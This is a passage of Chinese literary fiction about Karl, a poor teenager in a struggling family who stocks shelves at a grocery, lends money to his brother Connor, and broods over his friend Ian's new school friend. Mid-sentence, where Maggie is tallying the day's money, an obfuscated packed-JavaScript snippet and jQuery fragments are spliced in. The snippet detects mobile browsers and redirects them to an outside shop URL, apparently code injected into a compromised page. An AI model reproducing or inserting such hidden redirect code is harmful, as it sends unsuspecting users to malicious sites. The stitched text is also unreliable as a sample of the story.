卡尔坐在公交站台的水泥台阶上，看着那辆公交消失的方向。
街上没什么人。路灯亮着，昏黄的光落在地上，照出路面上的裂缝。远处有几盏灯还亮着，超市的招牌，餐馆的灯箱，但街上一个人也没有。
一只瘦狗在翻垃圾袋，脑袋伸进一个破袋子里拱来拱去，塑料袋发出窸窸窣窣的声音。狗把袋子拖倒，几个空罐子滚出来，在路面上滚了几圈，叮叮当当地响了半天才停住。抬起头看了他一眼，鼻子湿漉漉的，眼睛里什么表情都没有，然后又低下头继续拱。
卡尔把手伸进口袋，摸到那个新随身听。银色的外壳，光滑的，没有一点划痕。他的手指沿着边缘摸了一圈，摸到耳机插孔那里，有一个小小的凸起。他按了一下那个凸起，又按了一下。然后他把手拿出来，看着街对面那堵墙。
墙上的涂鸦他看了十几年了。
最底下一层是蓝色的，写着什么字，已经看不清了。上面盖着红色的，画了一个歪歪扭扭的图形，像星星又像花。再上面是黑色的，涂得乱七八糟，像是有人拿喷漆随便扫了几下。最上面是一行白色的字，写着“MIKE WAS HERE”，字迹歪歪扭扭的，挤在一起，后面还画了一个箭头，指向什么都没有的地方。这行字是去年才出现的。卡尔记得以前没有。
他看着那行字，想这个叫麦克的人，现在在哪儿。他写了自己的名字在这里，然后走了。他去了别的地方，过别的日子。墙上的字还在，人已经不在了。
他想着今天的事。河边，快餐店，伊恩说的话。伊恩说他在学校认识了一个人，坐他旁边的，话多。他说这话的时候，声音很平，和平时一样。但他说了。他主动说了。卡尔当时说“跟你正合适”，伊恩没接话。他没说那个克里斯好不好，也没说他跟那个克里斯聊了什么。他就说了那一句，然后就不说了。
卡尔不知道那个克里斯是什么样的人。是不是也像他一样，坐着和伊恩说话，然后伊恩听着，他想着这些事，想着想着，忽然觉得胸口有什么东西堵着。说不上来是什么。不是生气，也不是难过。就是堵着。像吃了一口太干的面包，咽不下去，又吐不出来。
他站起来，拍拍裤子。水泥台阶坐久了，屁股底下凉凉的，裤子后面潮了一小块。他用手拍了拍，湿的，拍不干。算了。
他往回走。狗被他突然的动作吓了一跳，夹着尾巴跑了两步，又停下来回头看他。卡尔没理它，继续走。狗看他不追，又转回去继续翻垃圾。
经过那家小餐馆，灯已经关了。玻璃门上贴着的菜单在路灯下泛着黄，边角翘起来，被风吹得一鼓一鼓的。玻璃上照出他自己的影子，头发乱着，外套拉链只拉了一半，领子一边高一边低。他看了两秒，转身继续走。
经过二手家具店，那只猫不在椅子上了。椅子上空空的，落了几个脚印，猫不知道去哪儿了。他想起那只猫总是趴在那儿，谁来都不抬头，尾巴垂下来，一晃一晃的。今天它不在了。
经过五金店，卷帘门拉得严严实实，门缝里透不出一点光。他走快了几步。
推开门，屋里还是那股味道。啤酒，烟，旧地毯，还有他爸身上那件穿了好几天的衬衫。几种味道混在一起，从门厅一直灌到走廊尽头。
他爸还躺在沙发上，电视关着，遥控器掉在地上。他爸的嘴微微张着，呼噜声很轻，像是什么东西在喉咙里磨。茶几上那几个空罐子还在，有一个倒在地上，酒早干了，只剩一圈印子。茶几面上那圈印子有好几个，新的旧的叠在一起，有的颜色深，有的颜色浅，擦不掉。他爸的手指上沾着灰，指甲缝里黑黑的。
卡尔走过去，把遥控器捡起来放在茶几上，把空罐子一个一个拿起来，放进垃圾袋里。罐子很轻，拿在手里几乎没有重量。他把袋子口拧紧，放在门边。他爸没醒。
他站在沙发旁边，看着他爸。他爸的眉头皱着，像是梦见什么不高兴的事。嘴角有一点口水，已经干了，留下一条浅浅的白印子。
他上楼。楼梯还是咯吱咯吱响，每一步都响，不管踩哪里都响。他尽量放轻脚步，还是响。走到一半的时候，他听见梅芙在房间里说话，声音很小，像是从被子底下传出来的。她说了一句什么，听不清。然后帕克说了什么，也听不清。他经过的时候，声音停了。
他推开自己房间的门。康纳不在，下铺的被子团成一团，枕头歪着，枕头上有一个脑袋压出来的凹坑。被子上有一块深色的印子，不知道是什么时候弄的。他爬上上铺，躺下来。上铺的床板很硬，只有一层薄薄的垫子，躺上去能感觉到底下的木板。
天花板上那道裂缝还在，歪歪扭扭的，从窗户那边过来，快到床板了。
他盯着那道裂缝，想着伊恩现在应该到家了。坐一个半小时公交，到镇上，然后换车。他家里有人在等他。会有人给他开门，问他吃饭没有。他不用自己热饭，不用自己洗碗，不用想着明天还要不要去买面包。他的衣服有人洗，叠好了放在柜子里。他的书桌有人擦，干干净净的。他的抽屉里放着那些画和石头，谁也不会动。
卡尔翻了个身，把脸对着墙。墙上有道划痕，是他和康纳小时候拿钥匙划的。那时候康纳还没跟他翻脸，两个人还睡一个房间，还会一起玩。康纳拿着他妈的钥匙在墙上划了一道，他拿自己的钥匙在旁边又划了一道。两道划痕并排着，一道深一道浅。
现在康纳不跟他说话了。他们住一个房间，睡上下铺，但康纳不跟他说话。他有时候想跟康纳说点什么，康纳不理他。他就不说了。
他摸了摸那道划痕，把被子拉过来盖住肩膀。被子短了，盖住肩膀就盖不住脚，盖住脚肩膀又露出来。他缩了缩腿，把被子裹紧。
第二天早上，卡尔醒的时候，康纳还在睡。他听见下铺的呼吸声，很均匀，一起一伏的。他往下看了一眼，康纳蜷着，脸对着墙，被子踢到腰上。他轻手轻脚地爬下床，怕踩到床架，赤脚踩在地上。地板凉凉的，从脚底板一直凉到小腿。
他穿衣服的时候，康纳翻了个身，嘟囔了一句什么，又没声了。卡尔看了他一眼，把外套拉链拉好，下楼。
帕克和梅芙已经醒了，坐在地上看电视。电视没开，屏幕是黑的，他们就这么坐着，看着那块黑玻璃。梅芙抱着她的娃娃，娃娃的头发缠在一起，乱糟糟的。帕克靠着沙发，腿伸直，脚趾头动来动去。
“哥，饿了。”梅芙回头看他。她眼睛还没完全睁开，眼皮肿肿的，头发翘着一撮。
卡尔走进厨房。冰箱里还有几片面包，半盒牛奶，昨天剩的炖菜不多了。炖菜的汤已经凝住了，表面结了一层白白的油。他把炖菜倒进锅里，开小火，用铲子把凝住的汤搅开。然后站在灶台边等。
窗外的天灰蒙蒙的，云压得很低，像一块洗了很多遍的抹布，拧不干，就那么挂在那儿。
他听见楼上他爸房间的门响了一声。然后脚步声，很慢，一下一下的，拖鞋蹭着地板的声音。过了一会儿，他爸走进厨房，穿着那件旧T恤，领口松了，歪到一边。头发乱着，脸上还有睡觉压出来的印子，一道红红的，从颧骨到嘴角。他打开柜子，拿出一个杯子，倒了杯水，喝了一口。水从嘴角漏了一点出来，顺着下巴滴在衣服上，他用手背擦了一下。
“康纳呢？”他爸问。
“还在睡。”
他爸点点头。他站在那儿，喝完那杯水，把杯子放进水槽里。杯子碰着水槽底，磕了一下，发出清脆的响声。他转身走了。脚步声又上了楼，经过走廊，门关上了。
卡尔把炖菜盛出来，分到三个盘子里。炖菜已经不多了，每个盘子只够铺个底。他又切了几片面包，放在盘子边上。他把盘子端到桌上。
帕克和梅芙跑过来坐下。梅芙拿起叉子就吃，吃得很快，叉子碰着盘子叮叮响。帕克慢一点，一边吃一边把胡萝卜挑出来，放在盘子边上，堆了一小堆。
卡尔在他们对面坐下。他拿起面包，掰了一块放进嘴里。面包有点干，嚼起来掉渣，他喝了一口水送下去。
“昨天那个人，”梅芙忽然说，“你朋友？”
卡尔嚼着面包，咽下去。“嗯。”
梅芙把叉子插在一块土豆上，举着看了一会儿，没放进嘴里。“他衣服挺好看的。”
卡尔看着她。
“蓝色的那件，”梅芙说，“新的”
卡尔不记得伊恩穿什么颜色的衣服。他想了半天，只记得他头发短了，露着耳朵。衣服什么颜色，他没注意。
“他下次还来吗？”梅芙问。
“不知道。”卡尔说。
梅芙把土豆塞进嘴里，嚼着，想了想。“那他要是来了，我能跟他说话吗？”
卡尔看着她。梅芙五岁，头发乱糟糟的，脸上还有没洗干净的印子。她认真地看着卡尔，等他的回答。
“能。”卡尔说。
梅芙笑了。她低下头，继续吃。
帕克在旁边一直没说话。他把胡萝卜从盘子边上又拨回盘子里，来回拨了几次。卡尔看了他一眼，他赶紧把胡萝卜塞进嘴里，嚼都不嚼就咽下去了。
吃完，卡尔把碗洗了。水很凉，冲在手上冰冰的。他把盘子一个一个洗干净，放进碗架里。帕克和梅芙回客厅看电视了，他听见梅芙在说“今天看什么”，帕克说“不知道”。
他上楼换衣服。走到房间门口的时候，他停了一下。门没关严，有一条缝。他往里看了一眼，康纳还躺着，脸对着墙，不知道睡着没有。他没进去，转身下楼。
走到门口，他看见康纳蹲在路边，用树枝在地上划。他站在那儿看了几秒。康纳没抬头。树枝在水泥地上划出一道一道的白印子，歪歪扭扭的，像字又不像。卡尔从他身边走过，没说话。康纳也没抬头。
杂货店在主街的另一头，走十五分钟。
卡尔到的时候，麦奇正把一箱饮料往门口搬。箱子很沉，他搬得吃力，脸憋得有点红。看见卡尔，他直起腰，把箱子放在地上，擦了擦额头上的汗。
“来了？”
卡尔点头，接过他手里的箱子。箱子挺沉，他抱在怀里，手指扣住箱子的边角，往里走。
店里还是那样。货架挤在一起，过道窄得只能过一个人。灯泡换过几盏了，但还是很暗，靠里面的货架几乎看不清标签。地上有几箱新到的货，等着拆。空气里有股纸箱和清洁剂混在一起的味道。
麦奇跟在后面走进来，从柜台上拿起一张单子，递给他。
“今天到的，都在这上头。你先把货上了，然后去收银。”
卡尔接过来，看了一眼。洗衣粉，罐头，面包，几箱汽水。他用手指点着单子上的字，一个一个看。他拿起美工刀，开始拆箱子。
他来这家店没几天。夏令营之前帮过几天忙，麦奇给他结了钱。前天他路过的时候，麦奇叫住他，问他还想不想来。一周干三天，放学后来，给几块钱。卡尔想了想，答应了。伊恩的信还要寄，邮票要钱。他上次数过，两块七十三美分，还能寄八次。八次之后呢？他得有钱买邮票。那台新随身听是伊恩送的，但他自己的磁带坏了，要买新的。涅槃那盘，他听坏过一盘，再买一盘。一盘磁带要几块钱，够他寄好几封信了。他得挣钱。
他把货一样一样摆上去。洗衣粉放在第三排靠右，罐头的标签要朝外，面包放在最顺手的位置。他摆得很慢，每一样都对齐了才放手。空箱子叠好，搬到后门堆着。后门出去是一条窄巷子，堆着几个垃圾袋，墙角长着草，已经枯了，黄黄的趴在地上。
麦奇在柜台后面坐着，翻报纸。他翻得很慢，一页一页地看，偶尔停下来用手指点着某一行。他抬起头看了卡尔一眼，又低下头继续翻。
店里没什么客人，这个点没人来买东西，要到下午才会多几个人。街对面的老太太偶尔会来，买牛奶和面包。五金店的老头有时候来买烟。还有几个卡尔不认识的人，匆匆进来，拿了东西就走。
卡尔把货上完，走到柜台后面。麦奇站起来，把位置让给他，自己到后面抽烟去了。
卡尔站在收银机前面。收银机是旧的，按键有些已经磨得看不清数字了，但还能用。他试着按了几个数字，屏幕亮了一下，显示出数字，然后又灭了。他按了取消键，屏幕又亮了。
门口进来一个人。是街对面的老太太，穿着一件灰色的外套，头发花白，手里拎着一个布袋。她在货架上拿了一盒牛奶，一袋面包，走到柜台前。
卡尔扫了一下，收了钱，找零。老太太看了他一眼，把牛奶和面包装进布袋里。
“你瘦了。”她说。
卡尔没说话。
她站在那里，看着他，好像想说什么。等了几秒，见他不说话，转身走了。门上的铃铛响了一声。
麦奇从后面出来，手里夹着烟。他靠在柜台上，看着卡尔。烟灰积了一截，快掉了，他也没弹。卡尔盯着那截烟灰，怕它掉在地上。
“你那个朋友，”麦奇忽然说，“昨天来的？”
卡尔愣了一下。他没想到麦奇知道。
“我看见你们了。”麦奇说，弹了一下烟灰，烟灰掉在地上，碎成几粒。“从车站那边走过来。你走前面，他走后面。”
卡尔没说话。
麦奇抽了一口烟，吐出来，烟雾在灯光下散开，变成灰蓝色的一团。“他头发挺显眼的。”
卡尔还是没说话。
麦奇把烟头掐灭在烟灰缸里，烟灰缸里已经有好几个烟头了，横七竖八地躺着。他拍了拍围裙，围裙上沾着灰，拍了几下才拍干净。
“行，没事。”他说，“下回带来坐坐。”
他走回后面去了。
卡尔站在收银机前面，想着他说的话。下回带来坐坐。
他把伊恩带来？坐在店里？
伊恩坐在收银台后面的椅子上，等着客人来？
他没见过伊恩坐在这种地方。伊恩坐在食堂里，坐在图书馆里，坐在河边那根水泥管子上。他坐在干净的地方，亮的地方，安静的地方。这店里太暗了，货架挤在一起，空气不新鲜。伊恩不会来这种地方。他为什么要来？
门口又进来一个人。是个年轻男人，穿一件脏兮兮的工作服，拿了一包烟，扔下钱就走了。卡尔把烟放进柜台下面的抽屉里，把零钱收好。他站在那里，手放在收银机上，手指搭着按键。
他想着伊恩在学校吃饭的样子。对面坐着那个克里斯，话多。
他们说什么？
说作业？
说老师？
说暑假去哪儿了？
克里斯会说，伊恩听着。他听着，和听卡尔说话一样。
他听着，不说话，但他在听。
卡尔想着这些，觉得胸口又堵了。他咽了一下口水，什么都没咽下去。
下午的时候，康纳来了。
卡尔正在收银。康纳推门进来，门上的铃铛响了一声。他站在门口，没往里走。麦奇在后面搬货，乒乒乓乓的，没听见门响。卡尔抬头看他，康纳也看他。两个人对视了几秒。康纳的头发还是乱的，衣服也没换，就是早上那件T恤，领口松了，歪到一边，露出一截锁骨。他站在那儿，手插在口袋里，脸上什么表情都没有。
康纳走过来，站在柜台前面。他比柜台高了多少。他往后面看了一眼，麦奇不在，只有搬货的声音从里面传出来。
“借我五块钱。”康纳说。
卡尔看着他。康纳的眼皮有点肿，像是没睡好。嘴角有一块干皮，翘起来，他舔了一下，没舔掉。
“干什么？”卡尔问。
“买东西。”
卡尔没动。他想着康纳上次说“借的，会还”，到现在还没还。他不知道康纳拿钱去买什么。烟？还是别的什么。
康纳等了几秒。他的手在口袋里攥着，又松开。他把手拿出来，放在柜台上。手指很瘦，指甲剪得很短，甲缝里有灰。
“借的，”他说，“会还。”
卡尔从口袋里掏出钱。今天挣的那几块，叠在一起，边角都折了。他数了五块，放在柜台上。康纳拿起来，攥在手里，转身就走。他走得不快，但脚步很重，每一步都踩得很实。
走到门口的时候，他停了一下。没回头。
“那个朋友，”他说，“昨天那个。”
卡尔等着他说下去。
康纳站在那里，背对着他。他的肩膀窄窄的，T恤挂不住，往下滑，他也没拉。他站了几秒。
“他跟我们不一样。”
他推门出去了。铃铛响了一声。门关上，又晃了几下才停。
卡尔站在柜台后面，看着门。门上的玻璃有一道裂缝，从上到下，弯弯曲曲的，透过去看见外面的街是歪的。他想着康纳说的话。
他跟我们不一样。
他当然不一样。他住大房子，有人开车送他，他不用打工，不用数邮票钱。他的字是工工整整的，像书上印的。他的衣服是新的，领子上的标签还没剪。他头发是红的，在阳光下会发亮。
卡尔没见过他头发在阳光下什么样，但他能想象。夏令营的时候，自己说他的头发像烧过的炭火最里面那点光。那是他见过的最好看的颜色。
卡尔把康纳拿走的五块钱记在账上。他在收银机旁边的小本子上翻到上次记的那页，在“康纳，五块”下面又写了一行：康纳，五块。字歪歪扭扭的，挤在一起，和伊恩的字不一样。
傍晚的时候，卡尔下班。麦奇从后面出来，把一天的账算了算。他戴着老花镜，手指在计算器上按得很慢，按一个数字看一下单子，再按一个数字，再看一下单子。算完了，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383609|200164||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他从抽屉里拿出一个信封，从里面抽出几张钱，数了一遍，又数了一遍，递给卡尔。
“今天的。”他说。
卡尔接过来。几张皱巴巴的票子，卷着边，他用手抚平了，叠好，放进裤兜里。
“明天还来？”麦奇问。
“来。”
麦奇点点头，把围裙解下来，挂在柜台后面的钩子上。他拿起钥匙，把门锁上。锁是老式的，插进去转两圈，咔哒一声。他拔出来，在手里掂了掂，放进口袋。
两个人站在门口。天快黑了，路灯还没亮，街上灰蒙蒙的。远处的天边还有一点橙红色，很淡，像是快要灭的火。风有点凉，吹得路边的落叶打转，一片一片的，从马路这边滚到那边。街上没什么人，那家小餐馆的灯亮着，玻璃上蒙着一层雾气。二手家具店已经关了，卷帘门拉下来。五金店也关了。
卡尔往回走。走到街口的时候，他看见路边坐着一个人。
是个流浪汉，靠着墙，面前放着一个纸板。纸板是纸箱拆开的，边上毛了，上面用马克笔写着几个字。字写得歪歪扭扭的，他凑近了才看清：“HUNGRY，PLEASE HELP”。他穿着一件破外套，袖子磨得发白，肘部的地方破了一个洞，露出里面灰扑扑的棉絮。头发乱糟糟的，打了结，有几缕垂在额前，遮住半只眼睛。脸上有灰，颧骨很高，脸颊凹下去。他低着头，像是睡着了，又像是没睡着。
卡尔走过去的时候，那人抬起头。
他看了卡尔一眼。眼神很空。不是困了的那种空，是那种什么都不剩的空。像是有什么东西被掏走了，留下一个洞，什么也装不进去。他看了卡尔几秒，又低下头，继续靠着墙。他的手放在膝盖上，手指很长，指甲里全是黑泥。手背上有几道疤，有的已经好了，留下白印子，有的还是新的，结了痂。
卡尔站在那儿，没动。
他想起今天麦奇说“下回带来坐坐”。他想起康纳说“他跟我们不一样”。他想起伊恩坐在河边，说学校很大，不认识人。他想起伊恩说认识了一个人，坐他旁边的，话多。
那个人跟他不一样。他会有新朋友，新学校，新生活。他会认识更多的人，去更多的地方。他的日子往前走，一天比一天不一样。他会认识更多像克里斯那样的人，话多的，会聊天的，会跟他说暑假去哪儿了、看了什么电影、听了什么歌。他的世界会越来越大，越来越宽，像那条河，流到很远的地方去。
自己呢？
他站在这儿，看着一个流浪汉。他每天走同一条街，搬同样的货，收同样的钱。回家，做饭，洗碗，上楼，看天花板那道裂缝。第二天再来，再走同一条街，再搬同样的货，再收同样的钱。康纳还是那样，他爸还是那样，他妈还是上夜班。什么都没变。那堵墙上的涂鸦多了几层，那只猫有时候来有时候不来，其他的，什么都没变。
他就像这条街，走到底，拐个弯，还是这条街。他走不出去。
他不知道自己站了多久。也许几秒，也许一分钟。风吹过来，凉飕飕的，灌进他外套的领口，他缩了一下脖子。
他从口袋里掏出几块钱零钱，放在那个纸板旁边。零钱是他自己攒的，不是今天挣的。今天挣的他要留着买邮票。他弯下腰，把硬币一个一个摆好，放在纸板的角上，压着纸板不让风吹跑。
流浪汉抬起头，看了他一眼。眼神还是空的，但多了一点东西。他说不上来是什么。不是感谢，也不是高兴，就是多了一点东西。他点了点头，嘴唇动了动，没发出声音。
卡尔转身走了。
他走回那栋灰房子。街上很暗，路灯还没亮全，有一段路黑漆漆的，他踩到一块松动的砖，歪了一下，站稳了继续走。
推开门，屋里还是那股味道。啤酒，烟，旧地毯，还有别的什么。他爸在沙发上坐着，电视开着，声音很小。他手里拿着啤酒罐，没喝，就那么攥着。罐子外面的水珠顺着手指往下淌，滴在他裤子上，洇湿了一小块。茶几上摆着那封补助信，信封拆开了，支票抽出来放在旁边。支票上的字他看过，每个月都一样。
卡尔换鞋，从他身边走过。他爸没看他，也没说话。电视里在放什么，声音很小，听不清。他走到楼梯口的时候，他爸忽然开口了。
“肖恩下周回来。”
卡尔停下来，转过身。他爸还坐在那儿，没看他。电视的光一闪一闪的，照在他脸上，把他的皱纹照得很深。他手里还攥着那个啤酒罐，没喝。
“肖恩？”卡尔问，“大哥？”
“嗯。”他爸说，“回来待几天。”
卡尔没说话。他爸也没再说话。电视里换了节目，声音大了一点，又小了。
卡尔上楼。楼梯还是咯吱咯吱响，他走得很快，不想听见自己脚步的声音。走到房间门口，他推开门。康纳不在，下铺空着，被子还是早上那团，揉在一起，没叠。枕头歪着，枕巾掉了一半在地上。他爬上上铺，躺下来。
天花板上那道裂缝还在。他盯着它，看了一会儿。
他想着肖恩回来。大哥在波士顿工地干活，大他五岁，一年回来一两次。上次回来是复活节，待了两天，塞给他妈两百块，说给弟弟妹妹买吃的。他妈说不用，你留着花，肖恩就把钱放在桌上，说给他们的。他那天穿一件旧夹克，袖口磨得发白，鞋上沾着干掉的泥。他坐在餐桌边，吃他妈做的炖菜，吃了一碗，又添了一碗。他问卡尔学校怎么样，卡尔说还行。他问康纳怎么样，卡尔说还行。他点点头，没再问。
他想着肖恩回来，家里会多一个人。多一个人吃饭，多一个人说话。肖恩话不多，但会说。他坐在餐桌边，不会一直看文件，不会一直看电视。他会问几句，然后点点头。就那么几句，也够了。比不说话强。
他想着康纳今天说的话。“他跟我们不一样。”
他想着那个流浪汉的眼神。空的。他不知道自己以后会不会也变成那样。每天坐在同一个地方，看着同一条街，等别人给几块钱。
他想着伊恩。想着那个克里斯。想着他们坐在一起吃饭的样子。克里斯话多，伊恩听着。和他在一起的时候一样。但不一样。克里斯在学校，在食堂，在白天。他在麦基斯波特，在河边，在下午。
伊恩的生活在往前走，他的日子在原地打转。像河里的水，流过去了，就不回来了。他还在岸上站着，看着水走。
他想着伊恩的信。信会来的。人会来的，下周三，或者下下周三。总会来的。他会在信里写什么？会写克里斯吗？会写他们一起做的事吗？会写他去过的地方吗？他不知道。他只知道信会来，他会看很多遍，然后回信。回信的时候写不出什么。他这边没什么可写的。河边，杂货店，康纳又停学了。就这些。没什么可写的。
但是他会硬写，至少多写一些
他想着那盘磁带。明天去买。涅槃的，他听坏过一盘的，再买一盘。钱够。他今天挣了几块，够买一盒磁带，还能剩几张邮票钱。
他想着伊恩送他的随身听，银色的，新的，按键弹回来脆脆的响。他想着伊恩把它放在水泥管子上的样子。没看他，看着河。河水流着，他坐在旁边，也不看他。他们就这么坐着，谁也没说话。
他从口袋里掏出那个随身听，放在耳朵边上，按了一下。没有磁带，只有齿轮转动的声音，轻轻的，咔哒咔哒。他听了一会儿，把它放回口袋。
他翻了个身，把被子拉过来盖住肩膀。被子短了，他缩了缩腿，把脚也盖住。
楼下，电视还开着。他爸还在沙发上。肖恩下周回来。
他把手伸进口袋，摸了摸那个随身听。外壳光滑的，凉凉的。他把手抽出来，放在枕头底下。枕头底下还有伊恩上次的信，折好了，压在那儿。他没拿出来看，但知道它在。信很短，他看过很多遍，已经记住了。但他还是知道它在。就在那儿。
天花板上那道裂缝还在。他盯着它，看了一会儿。外面有车经过，灯光从窗户透进来，在墙上滑过去，又暗了。
他想着伊恩现在应该睡着了。在那栋大房子里，在他自己的房间里，天花板是白的，什么都没有。
他翻了个身，把被子拉过头顶。
被子里很黑，什么都看不见。他睁着眼睛，看着那团黑。他想着那个流浪汉的眼神。空的。他不知道自己以后会不会也变成那样。
他想着伊恩，想着那个克里斯，想着他们坐在一起吃饭的样子。他想着自己每天走同一条街，搬同样的货，收同样的钱。
他想着那盘磁带，明天去买。
他想着肖恩回来，家里会多一个人。
他把被子拉下来，看着天花板。那道裂缝在黑暗里看不清，但他知道它在。他看了十几年了，闭着眼睛都能画出它的形状。
他闭上眼睛。